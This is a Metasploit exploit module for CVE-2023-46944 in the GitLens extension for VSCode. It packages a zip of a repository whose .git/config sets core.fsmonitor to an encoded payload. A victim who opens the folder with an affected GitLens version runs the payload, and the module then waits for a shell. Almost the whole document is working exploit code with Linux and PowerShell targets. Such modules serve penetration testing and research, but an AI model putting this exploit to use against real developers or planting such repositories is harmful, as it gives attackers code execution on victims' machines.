GitLens Git Local Configuration Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  def initialize(info = {})    super(      update_info(        info,        'Name' => 'GitLens Git Local Configuration Exec',        'Description' => %q{          GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git          commands. A repo may include its own .git folder including a malicious config file to          execute arbitrary code.          Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # Metasploit module          'Paul Gerste', # Original advisory and PoC        ],        'References' => [          ['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'],          ['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook          ['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch          ['CVE', '2023-46944']        ],        'DefaultOptions' => {          'EXITFUNC' => 'thread',          'DisablePayloadHandler' => false,          'FILENAME' => 'repo.zip',          'WfsDelay' => 3_600 # 1hr        },        'Arch' => ARCH_CMD,        'Targets' => [          [            'Linux/Unix (In-Memory)',            {              'Platform' => [ 'unix', 'linux' ],              'Type' => :unix_cmd            },          ],          # There may be a size limit, but using fetch payloads works great          [            'PowerShell (In-Memory)',            {              'Platform' => 'win',              'Payload' => {                'BadChars' => '"&'              }            }          ],        ],        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away        },        'Privileged' => false,        'DisclosureDate' => '2023-11-14'      )    )    register_options([      OptString.new('README', [true, 'The contents of the readme markdown file', '# Test'])    ])  end  def readme    datastore['README'].to_s  end  def git_head    'ref: refs/heads/master'  end  def git_config    %([core]    repositoryformatversion = 0    filemode = true    bare = false    logallrefupdates = true    fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload  end  def exploit    # Create malicious zip archive containing our git repo    files =      [        { data: readme, fname: 'README.md' },        { data: git_config, fname: '.git/config' },        { data: git_head, fname: '.git/HEAD' },        { data: '', fname: '.git/objects/info/' },        { data: '', fname: '.git/objects/pack/' },        { data: '', fname: '.git/refs/heads/' },        { data: '', fname: '.git/refs/tags/' },      ]    zip = Msf::Util::EXE.to_zip(files)    file_create(zip)    print_status('Waiting for shell')  endend